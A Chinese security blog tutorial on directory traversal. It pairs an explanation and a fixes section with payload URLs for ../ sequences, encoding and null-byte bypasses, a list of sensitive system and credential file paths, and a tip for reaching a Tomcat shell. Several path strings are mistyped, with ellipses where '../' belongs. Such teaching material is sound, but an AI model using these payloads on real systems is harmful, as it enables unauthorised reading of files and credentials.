【Web漏洞探索】目录遍历漏洞

Web漏洞探索之目录遍历漏洞


请添加图片描述

一、什么是目录遍历漏洞

目录遍历Directory traversal(也称文件路径遍历、目录穿越、路径遍历、路径穿越)是一种允许攻击者在未授权的状态下读取应用服务上任意文件的安全漏洞。这包括应用代码、数据、凭证以及操作系统的敏感文件。在有些情况下,攻击者还可能对服务器里的文件进行任意写入,更改应用数据甚至完全控制服务器。

二、目录遍历漏洞成因

程序系统在实现上没有过滤用户输入的…/之类的目录跳转符,允许攻击者通过提交目录跳转符来遍历服务器上的任意文件。
比如:http://www.test.com/index.php?file=image1.jpg
当服务器处理传送过来的image1.jpg文件名后,Web应用程序会自动添加完整的路径,比如:c://test/static/imgs/image1.jpg,然后web系统将读取的内容返回给攻击者。
若对文件名称的安全性验证不足,攻击者会使用../../../ect/passwd的文件名,将会导致访问非授权文件资源。

三、有哪些目录跳转符

Windows OS:

根目录: “驱动器盘符:”
当前目录:“.”
目录分割符: “” or “/”
当前用户目录:“%homepath%”
跳转符:“…/”

Unix类 OS:

根目录: “/”
当前目录:“.”
目录分割符: “/”
当前用户目录:“~”
跳转符:“…/”

Mac OS:

根目录: “驱动器盘符:”
当前目录:“.”
目录分割符: “:”
当前用户目录:“~”
跳转符:“…/”

注意:在Windows系统中,攻击者只能访问Web根目录位于的分区中,而在Linux中可以访问整个磁盘。

四、漏洞攻击利用手法

请添加图片描述

直接使用…/目录穿越

比如:http://www.test.com/index.php?file=image1.jpg,服务器拼接成c://test/static/imgs/image1.jpg

payload:
http://www.test.com/index.php?file=../imgs/image1.jpg
http://www.test.com/index.php?file=../../../../windows/win.ini
http://www.test.com/index.php?file=../../../../windows/win.ini%00.jpg
绝对路径穿越

使用绝对路径,直接获取文件数据。

payload:
http://www.test.com/index.php?file=/etc/passwd
http://www.test.com/index.php?file=/etc/passwd%00.jpg
使用双写绕过

应对防御措施将"…/"替换为空。

payload:
http://www.test.com/index.php?file=....//imgs/image1.jpg
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini
http://www.test.com/index.php?file=....//....//....//....//windows/win.ini%00.jpg
加密型传递的参数

http://www.test.com/index.php?file=aW1hZ2UxLmpwZw==
参数file的数据采用Base64加密,而攻击中只需要将数据进行相应的解密即可入侵,采用一些常见、规律性的加密方式也是不安全的。

编码绕过

采用不同的编码进行过滤型绕过,比如通过对参数进行url编码提交来绕过。
. => %2e
/ => %2f
% => %25(双重编码)
注意:服务器会先进行url解码,再加上get协议本身会进行一次url解码,所以进行两次url编码

目录限定绕过

有些web软件通过限定目录权限来分离,攻击者可以通过某些特定的符号来绕过。
比如:根目录"/“被限定了权限,但是可以通过”~"来进入根目录下的目录。

绕过文件后缀过滤,截断上传

当程序系统设置了后缀名检测的时候,可以通过"%00"截断来绕过。
比如:../windows/win.ini%00.jpg等价于../windows/win.ini

在类Unix的系统中也可以使用Url编码的换行符%0a,也可以尝试%20

五、修复以及预防

系统设计开发阶段
对传来的参数做过滤

需对用户提交的内容进行严格的过滤,这里主要指过滤目录跳转符、字符截断符、dir命令等,如“…/”和“~/”。

采用白名单的形式,验证所有的输入

也就是限制用户请求资源,对于少量的文件(例如都是图像),写正则表达式批量规范请求资源的白名单。

文件名参数统一编码,标准化所有字符

对用户传过来的文件名参数进行统一编码,将所有字符转换成url编码,这样服务器不会解析成…/,对包含恶意字符或者空字符的参数进行拒绝。

id随机数命名,持久化id:path数据库

文件路径保存至数据库,用户提交文件对应id访问文件,路径识别拼接都在后端。

下载文件前做权限判断,设置目录权限。

控制返回数据,保证返回数据不会泄露任何和服务器相关的隐私数据。

系统上线运维阶段
合理配置Web服务器的目录权限

web应用程序可以使用chroot环境包含被访问的web目录,或者使用绝对路径+参数来访问文件目录,即使越权也在访问目录之内。
nginx配置open_basedir=/home/wwwroot/blog.evalshell.com:/tmp/:/proc/

由chroot创造出的那个根目录,叫做“chroot监狱”(指通过chroot机制来更改某个进程所能看到的根目录,即将某进程限制在指定目录中),保证该进程只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全。

添加WAF规则

六、常见系统文件路径

Windows:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux:

/etc/passwd #查看用户文件
/etc/shadow #查看密码文件,如果能读取该文件说明是root权限
/etc/httpd/conf/httpd.conf #查看apache的配置文件
/root/.bash_history #查看历史命令
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/root/.ssh/known_hosts

程序配置文件
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf

七、妙用技巧

利用该漏洞来读取Tomcat的tomcat-users.xml配置文件,得到Tomcat管理页面的口令,登录后上传war包Geshell。可以通过读取.bash_history文件来查看管理员的历史命令,来得到Tomcat的安装路径,从而得知tomcat-users.xml的绝对路径。

八、附录

参考链接:
https://portswigger.net/web-security/file-path-traversal
https://docs.microsoft.com/zh-cn/archive/blogs/jeremykuhne/path-normalization
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
https://mp.weixin.qq.com/s/7cnXMnskwAvMGwy40ab7hA
https://mp.weixin.qq.com/s/9I7O16gTcg0_pwc3quqMlw
http://blog.csdn.net/frozen_fish/article/details/2244870
https://blog.csdn.net/xiaoi123/article/details/80803390

  • 2
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

byzf

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值